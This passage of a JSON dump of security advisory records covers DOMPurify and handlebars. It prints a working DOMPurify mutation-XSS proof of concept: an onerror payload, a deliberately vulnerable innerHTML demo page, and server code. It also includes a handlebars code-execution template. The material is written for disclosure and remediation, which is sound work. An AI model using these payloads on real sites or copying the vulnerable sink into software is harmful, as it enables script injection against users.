\u003coption value=\"iframe\"\u003eiframe\u003c/option\u003e\n                \u003coption value=\"noembed\"\u003enoembed\u003c/option\u003e\n                \u003coption value=\"noframes\"\u003enoframes\u003c/option\u003e\n                \u003coption value=\"noscript\"\u003enoscript\u003c/option\u003e\n              \u003c/select\u003e\n            \u003c/div\u003e\n            \u003cdiv style=\"display:flex;align-items:end;\"\u003e\n              \u003cbutton id=\"run\" type=\"button\"\u003eSanitize + Render\u003c/button\u003e\n            \u003c/div\u003e\n          \u003c/div\u003e\n          \u003cp class=\"note\"\u003eSe usa render vulnerable: \u003ccode\u003esink.innerHTML = '\u0026lt;wrapper\u0026gt;' + sanitized + '\u0026lt;/wrapper\u0026gt;'\u003c/code\u003e.\u003c/p\u003e\n          \u003cdiv class=\"status-grid\"\u003e\n            \u003cdiv class=\"status-item vuln\"\u003escript (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003exmp (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003eiframe (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003enoembed (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003enoframes (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003enoscript (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003ediv (no vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003etextarea (no vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003etitle (no vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003estyle (no vulnerable)\u003c/div\u003e\n          \u003c/div\u003e\n        \u003c/section\u003e\n\n        \u003csection class=\"card\"\u003e\n          \u003clabel\u003eSanitized response\u003c/label\u003e\n          \u003cpre id=\"sanitized\"\u003e(empty)\u003c/pre\u003e\n        \u003c/section\u003e\n\n        \u003csection class=\"card\"\u003e\n          \u003clabel\u003eSink\u003c/label\u003e\n          \u003cdiv id=\"sink\"\u003e\u003c/div\u003e\n        \u003c/section\u003e\n      \u003c/div\u003e\n    \u003c/main\u003e\n\n    \u003cscript\u003e\n      const payload = document.getElementById('payload');\n      const wrapper = document.getElementById('wrapper');\n      const run = document.getElementById('run');\n      const sanitizedNode = document.getElementById('sanitized');\n      const sink = document.getElementById('sink');\n\n      run.addEventListener('click', async () =\u003e {\n        const response = await fetch('/sanitize', {\n          method: 'POST',\n          headers: { 'Content-Type': 'application/json' },\n          body: JSON.stringify({ input: payload.value })\n        });\n\n        const data = await response.json();\n        const sanitized = data.sanitized || '';\n        const w = wrapper.value;\n\n        sanitizedNode.textContent = sanitized;\n        sink.innerHTML = '\u003c' + w + '\u003e' + sanitized + '\u003c/' + w + '\u003e';\n      });\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\n- server.js\n\n```js\nconst express = require('express');\nconst path = require('path');\nconst { JSDOM } = require('jsdom');\nconst createDOMPurify = require('dompurify');\n\nconst app = express();\nconst port = process.env.PORT || 3001;\n\nconst window = new JSDOM('').window;\nconst DOMPurify = createDOMPurify(window);\n\napp.use(express.json());\napp.use(express.static(path.join(__dirname, 'public')));\n\napp.get('/health', (_req, res) =\u003e {\n  res.json({ ok: true, service: 'expoc' });\n});\n\napp.post('/sanitize', (req, res) =\u003e {\n  const input = typeof req.body?.input === 'string' ? req.body.input : '';\n  const sanitized = DOMPurify.sanitize(input);\n  res.json({ sanitized });\n});\n\napp.listen(port, () =\u003e {\n  console.log(`expoc running at http://localhost:${port}`);\n});\n```\n\n- package.json\n\n```json\n{\n  \"name\": \"expoc\",\n  \"version\": \"1.0.0\",\n  \"main\": \"server.js\",\n  \"scripts\": {\n    \"test\": \"echo \\\"Error: no test specified\\\" \u0026\u0026 exit 1\",\n    \"start\": \"node server.js\",\n    \"dev\": \"node server.js\"\n  },\n  \"keywords\": [],\n  \"author\": \"\",\n  \"license\": \"ISC\",\n  \"description\": \"\",\n  \"dependencies\": {\n    \"dompurify\": \"^3.3.1\",\n    \"express\": \"^5.2.1\",\n    \"jsdom\": \"^28.1.0\"\n  }\n}\n```\n\n## Evidence\n\n- PoC\n\n[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)\n\n- XSS triggered\n\u003cimg width=\"2746\" height=\"1588\" alt=\"daft-img\" src=\"https://github.com/user-attachments/assets/1f463c14-d5a3-4c93-94e4-12d2d02c7d15\" /\u003e\n\n## Why This Happens\nThis is a mutation-XSS pattern caused by a parse-context mismatch:\n\n- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.\n- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).\n- Attacker-controlled sequence (`\u003c/xmp\u003e`) gains structural meaning in parse 2 and alters DOM structure.\n\nSanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.\n\n## Remediation Guidance\n1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.\n2. Keep the rendering context stable from sanitize to sink.\n3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.\n4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).\n5. Add regression tests for context-switch/mXSS payloads (including `\u003c/xmp\u003e`, `\u003c/noscript\u003e`, similar parser-breakout markers).\n\nReported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.\n\nFollowing Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft\n\nAcknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).","status":"published","published":"2026-03-27T20:41:29Z","modified":"2026-07-23T14:05:21Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:40:51.375752Z"},{"id":"GHSA-q42p-pg8m-cqh6","title":"Prototype Pollution in handlebars","description":"Versions of `handlebars` prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.\n\n\n## Recommendation\n\nFor handlebars 4.1.x upgrade to 4.1.2 or later.\nFor handlebars 4.0.x upgrade to 4.0.14 or later.","status":"published","published":"2019-06-05T14:07:48Z","modified":"2023-11-29T20:32:55Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-471"],"updated_at":"2026-11-02T14:37:22.840002Z"},{"id":"GHSA-v8jm-5vwx-cfxm","title":"DOMPurify contains a Cross-site Scripting vulnerability","description":"DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like \u003c/textarea\u003e in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.","status":"published","published":"2026-03-03T18:31:33Z","modified":"2026-03-04T20:50:11Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:31.060223Z"},{"id":"GHSA-g9r4-xpmj-mj65","title":"Prototype Pollution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.","status":"published","published":"2020-09-04T15:06:32Z","modified":"2023-01-09T05:04:02Z","cwes":["CWE-1321"],"updated_at":"2026-11-02T14:36:08.267721Z"},{"id":"GHSA-q2c6-c6pm-g3gh","title":"Arbitrary Code Execution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a [previous issue](https://www.npmjs.com/advisories/1316). This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.","status":"published","published":"2020-09-04T15:07:38Z","modified":"2023-01-09T05:04:24Z","updated_at":"2026-11-02T14:36:09.554044Z"}],"nvd":[{"id":"CVE-2025-15599","description":"DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like \u003c/textarea\u003e in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.","status":"published","published":"2026-03-03T18:16:23.06Z","modified":"2026-10-08T16:16:50.39Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:01.096037Z"}],"osv":[{"id":"CVE-2025-15599","title":"DOMPurify XSS via Textarea Rawtext Bypass in SAFE_FOR_XML","description":"DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like \u003c/textarea\u003e in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.","status":"published","published":"2026-03-03T17:26:05.711Z","modified":"2026-10-28T02:30:59.155427497Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:46.340268Z"},{"id":"DEBIAN-CVE-2025-15599","description":"DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like \u003c/textarea\u003e in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.","status":"published","published":"2026-03-03T18:16:23.06Z","modified":"2026-10-09T10:00:45.954364219Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"updated_at":"2026-11-02T15:45:45.102284Z"},{"id":"GHSA-2cf5-4w76-r9qv","title":"Arbitrary Code Execution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\nThe following template can be used to demonstrate the vulnerability:  \n```{{#with \"constructor\"}}\n\t{{#with split as |a|}}\n\t\t{{pop (push \"alert('Vulnerable Handlebars JS');\")}}\n\t\t{{#with (concat (lookup join (slice 0 1)))}}\n\t\t\t{{#each (slice 2 3)}}\n\t\t\t\t{{#with (apply 0 a)}}\n\t\t\t\t\t{{.}}\n\t\t\t\t{{/with}}\n\t\t\t{{/each}}\n\t\t{{/with}}\n\t{{/with}}\n{{/with}}```\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.2 or later.","status":"published","published":"2020-09-04T14:57:38Z","modified":"2026-09-10T03:48:33.174881747Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:L","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:34.338541Z"},{"id":"GHSA-h8r8-wccr-v5f2","title":"DOMPurify is vulnerable to mutation-XSS via Re-Contextualization ","description":"## Description\n\nA mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).\n\n\n## Vulnerability\n\nThe root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `\u003cxmp\u003e ... \u003c/xmp\u003e` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `\u003c/xmp\u003e` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`\u003cimg ... onerror=...\u003e`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).\n\n## PoC\n\n1. Start the PoC app:\n```bash\nnpm install\nnpm start\n```\n\n2. Open `http://localhost:3001`.\n3. Set `Wrapper en sink` to `xmp`.\n4. Use payload:\n```html\n \u003cimg src=x alt=\"\u003c/xmp\u003e\u003cimg src=x onerror=alert('expoc')\u003e\"\u003e\n```\n\n5. Click `Sanitize + Render`.\n6. Observe:\n- `Sanitized response` still contains the `\u003c/xmp\u003e` sequence inside `alt`.\n- The sink reparses to include `\u003cimg src=\"x\" onerror=\"alert('expoc')\"\u003e`.\n- `alert('expoc')` is triggered.\n7. Files:\n- index.html\n\n```html\n\u003c!doctype html\u003e\n\u003chtml lang=\"en\"\u003e\n  \u003chead\u003e\n    \u003cmeta charset=\"utf-8\"\u003e\n    \u003cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\"\u003e\n    \u003ctitle\u003eexpoc - DOMPurify SSR PoC\u003c/title\u003e\n    \u003cstyle\u003e\n      :root {\n        --bg: #f7f8fb;\n        --panel: #ffffff;\n        --line: #d8dce6;\n        --text: #0f172a;\n        --muted: #475569;\n        --accent: #0ea5e9;\n      }\n\n      * {\n        box-sizing: border-box;\n      }\n\n      body {\n        margin: 0;\n        font-family: \"SF Mono\", Menlo, Consolas, monospace;\n        color: var(--text);\n        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);\n      }\n\n      main {\n        max-width: 980px;\n        margin: 28px auto;\n        padding: 0 16px 20px;\n      }\n\n      h1 {\n        margin: 0 0 10px;\n        font-size: 1.45rem;\n      }\n\n      p {\n        margin: 0;\n        color: var(--muted);\n      }\n\n      .grid {\n        display: grid;\n        gap: 14px;\n        margin-top: 16px;\n      }\n\n      .card {\n        background: var(--panel);\n        border: 1px solid var(--line);\n        border-radius: 12px;\n        padding: 14px;\n      }\n\n      label {\n        display: block;\n        margin-bottom: 7px;\n        font-size: 0.85rem;\n        color: var(--muted);\n      }\n\n      textarea,\n      input,\n      select,\n      button {\n        width: 100%;\n        border: 1px solid var(--line);\n        border-radius: 8px;\n        padding: 9px 10px;\n        font: inherit;\n        background: #fff;\n      }\n\n      textarea {\n        min-height: 110px;\n        resize: vertical;\n      }\n\n      .row {\n        display: grid;\n        grid-template-columns: 1fr 230px;\n        gap: 12px;\n      }\n\n      button {\n        cursor: pointer;\n        background: var(--accent);\n        color: #fff;\n        border-color: #0284c7;\n      }\n\n      #sink {\n        min-height: 90px;\n        border: 1px dashed #94a3b8;\n        border-radius: 8px;\n        padding: 10px;\n        background: #f8fafc;\n      }\n\n      pre {\n        margin: 0;\n        white-space: pre-wrap;\n        word-break: break-word;\n      }\n\n      .note {\n        margin-top: 8px;\n        font-size: 0.85rem;\n      }\n\n      .status-grid {\n        display: grid;\n        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));\n        gap: 8px;\n        margin-top: 10px;\n      }\n\n      .status-item {\n        border: 1px solid var(--line);\n        border-radius: 8px;\n        padding: 8px 10px;\n        font-size: 0.85rem;\n        background: #fff;\n      }\n\n      .status-item.vuln {\n        border-color: #ef4444;\n        background: #fef2f2;\n      }\n\n      .status-item.safe {\n        border-color: #22c55e;\n        background: #f0fdf4;\n      }\n\n      @media (max-width: 760px) {\n        .row {\n          grid-template-columns: 1fr;\n        }\n      }\n    \u003c/style\u003e\n  \u003c/head\u003e\n  \u003cbody\u003e\n    \u003cmain\u003e\n      \u003ch1\u003eexpoc - DOMPurify Server-Side PoC\u003c/h1\u003e\n      \u003cp\u003e\n        Flujo: input -\u003e POST /sanitize (Node + jsdom + DOMPurify) -\u003e render vulnerable con innerHTML.\n      \u003c/p\u003e\n\n      \u003cdiv class=\"grid\"\u003e\n        \u003csection class=\"card\"\u003e\n          \u003clabel for=\"payload\"\u003ePayload\u003c/label\u003e\n          \u003ctextarea id=\"payload\"\u003e\u003cimg src=x alt=\"\u003c/script\u003e\u003cimg src=x onerror=alert('expoc')\u003e\"\u003e\u003c/textarea\u003e\n          \u003cdiv class=\"row\" style=\"margin-top: 10px;\"\u003e\n            \u003cdiv\u003e\n              \u003clabel for=\"wrapper\"\u003eWrapper en sink\u003c/label\u003e\n              \u003cselect id=\"wrapper\"\u003e\n                \u003coption value=\"div\"\u003ediv\u003c/option\u003e\n                \u003coption value=\"textarea\"\u003etextarea\u003c/option\u003e\n                \u003coption value=\"title\"\u003etitle\u003c/option\u003e\n                \u003coption value=\"style\"\u003estyle\u003c/option\u003e\n                \u003coption value=\"script\" selected\u003escript\u003c/option\u003e\n                \u003coption value=\"xmp\"\u003exmp\u003c/option\u003e\n                \u003coption value=\"iframe\"\u003eiframe\u003c/option\u003e\n                \u003coption value=\"noembed\"\u003enoembed\u003c/option\u003e\n                \u003coption value=\"noframes\"\u003enoframes\u003c/option\u003e\n                \u003coption value=\"noscript\"\u003enoscript\u003c/option\u003e\n              \u003c/select\u003e\n            \u003c/div\u003e\n            \u003cdiv style=\"display:flex;align-items:end;\"\u003e\n              \u003cbutton id=\"run\" type=\"button\"\u003eSanitize + Render\u003c/button\u003e\n            \u003c/div\u003e\n          \u003c/div\u003e\n          \u003cp class=\"note\"\u003eSe usa render vulnerable: \u003ccode\u003esink.innerHTML = '\u0026lt;wrapper\u0026gt;' + sanitized + '\u0026lt;/wrapper\u0026gt;'\u003c/code\u003e.\u003c/p\u003e\n          \u003cdiv class=\"status-grid\"\u003e\n            \u003cdiv class=\"status-item vuln\"\u003escript (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003exmp (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003eiframe (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003enoembed (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003enoframes (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003enoscript (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003ediv (no vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003etextarea (no vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003etitle (no vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003estyle (no vulnerable)\u003c/div\u003e\n          \u003c/div\u003e\n        \u003c/section\u003e\n\n        \u003csection class=\"card\"\u003e\n          \u003clabel\u003eSanitized response\u003c/label\u003e\n          \u003cpre id=\"sanitized\"\u003e(empty)\u003c/pre\u003e\n        \u003c/section\u003e\n\n        \u003csection class=\"card\"\u003e\n          \u003clabel\u003eSink\u003c/label\u003e\n          \u003cdiv id=\"sink\"\u003e\u003c/div\u003e\n        \u003c/section\u003e\n      \u003c/div\u003e\n    \u003c/main\u003e\n\n    \u003cscript\u003e\n      const payload = document.getElementById('payload');\n      const wrapper = document.getElementById('wrapper');\n      const run = document.getElementById('run');\n      const sanitizedNode = document.getElementById('sanitized');\n      const sink = document.getElementById('sink');\n\n      run.addEventListener('click', async () =\u003e {\n        const response = await fetch('/sanitize', {\n          method: 'POST',\n          headers: { 'Content-Type': 'application/json' },\n          body: JSON.stringify({ input: payload.value })\n        });\n\n        const data = await response.json();\n        const sanitized = data.sanitized || '';\n        const w = wrapper.value;\n\n        sanitizedNode.textContent = sanitized;\n        sink.innerHTML = '\u003c' + w + '\u003e' + sanitized + '\u003c/' + w + '\u003e';\n      });\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\n- server.js\n\n```js\nconst express = require('express');\nconst path = require('path');\nconst { JSDOM } = require('jsdom');\nconst createDOMPurify = require('dompurify');\n\nconst app = express();\nconst port = process.env.PORT || 3001;\n\nconst window = new JSDOM('').window;\nconst DOMPurify = createDOMPurify(window);\n\napp.use(express.json());\napp.use(express.static(path.join(__dirname, 'public')));\n\napp.get('/health', (_req, res) =\u003e {\n  res.json({ ok: true, service: 'expoc' });\n});\n\napp.post('/sanitize', (req, res) =\u003e {\n  const input = typeof req.body?.input === 'string' ? req.body.input : '';\n  const sanitized = DOMPurify.sanitize(input);\n  res.json({ sanitized });\n});\n\napp.listen(port, () =\u003e {\n  console.log(`expoc running at http://localhost:${port}`);\n});\n```\n\n- package.json\n\n```json\n{\n  \"name\": \"expoc\",\n  \"version\": \"1.0.0\",\n  \"main\": \"server.js\",\n  \"scripts\": {\n    \"test\": \"echo \\\"Error: no test specified\\\" \u0026\u0026 exit 1\",\n    \"start\": \"node server.js\",\n    \"dev\": \"node server.js\"\n  },\n  \"keywords\": [],\n  \"author\": \"\",\n  \"license\": \"ISC\",\n  \"description\": \"\",\n  \"dependencies\": {\n    \"dompurify\": \"^3.3.1\",\n    \"express\": \"^5.2.1\",\n    \"jsdom\": \"^28.1.0\"\n  }\n}\n```\n\n## Evidence\n\n- PoC\n\n[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)\n\n- XSS triggered\n\u003cimg width=\"2746\" height=\"1588\" alt=\"daft-img\" src=\"https://github.com/user-attachments/assets/1f463c14-d5a3-4c93-94e4-12d2d02c7d15\" /\u003e\n\n## Why This Happens\nThis is a mutation-XSS pattern caused by a parse-context mismatch:\n\n- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.\n- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).\n- Attacker-controlled sequence (`\u003c/xmp\u003e`) gains structural meaning in parse 2 and alters DOM structure.\n\nSanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.\n\n## Remediation Guidance\n1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.\n2. Keep the rendering context stable from sanitize to sink.\n3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.\n4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).\n5. Add regression tests for context-switch/mXSS payloads (including `\u003c/xmp\u003e`, `\u003c/noscript\u003e`, similar parser-breakout markers).\n\nReported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.\n\nFollowing Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft\n\nAcknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).","status":"published","published":"2026-03-27T20:41:29Z","modified":"2026-09-10T03:51:00.38626548Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:48.920784Z"},{"id":"GHSA-q42p-pg8m-cqh6","title":"Prototype Pollution in handlebars","description":"Versions of `handlebars` prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.\n\n\n## Recommendation\n\nFor handlebars 4.1.x upgrade to 4.1.2 or later.\nFor handlebars 4.0.x upgrade to 4.0.14 or later.","status":"published","published":"2019-06-05T14:07:48Z","modified":"2026-09-10T03:48:23.648231681Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-471"],"updated_at":"2026-11-02T15:46:54.055966Z"},{"id":"GHSA-v8jm-5vwx-cfxm","title":"DOMPurify contains a Cross-site Scripting vulnerability","description":"DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like \u003c/textarea\u003e in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.","status":"published","published":"2026-03-03T18:31:33Z","modified":"2026-09-10T03:50:41.21999533Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"},{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:56.981655Z"},{"id":"UBUNTU-CVE-2025-15599","description":"DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like \u003c/textarea\u003e in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.","status":"published","published":"2026-03-03T18:16:00Z","modified":"2026-10-17T12:56:48.536318521Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"},{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"updated_at":"2026-11-02T16:55:20.144818Z"},{"id":"CLSA-2026-1774743817","title":"TuxCare security update for handlebars (1 CVE)","description":"TuxCare rebuilt handlebars to address 1 CVE. Fixed in 1.3.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:15Z","modified":"2026-10-15T09:47:48.668758728Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774743830","title":"TuxCare security update for handlebars (3 CVEs)","description":"TuxCare rebuilt handlebars to address 3 CVEs. Fixed in 1.0.12-tuxcare.2.","status":"published","published":"2026-08-04T14:52:16Z","modified":"2026-10-23T19:28:13.663406058Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1775608268","title":"TuxCare security update for dompurify (2 CVEs)","description":"TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 2.5.9-tuxcare.1.","status":"published","published":"2026-08-04T14:52:22Z","modified":"2026-10-15T09:47:49.825185177Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1775608269","title":"TuxCare security update for dompurify (3 CVEs)","description":"TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 2.5.8-tuxcare.2.","status":"published","published":"2026-08-04T14:52:22Z","modified":"2026-10-15T09:47:49.658070019Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1778460305","title":"TuxCare security update for dompurify (3 CVEs)","description":"TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 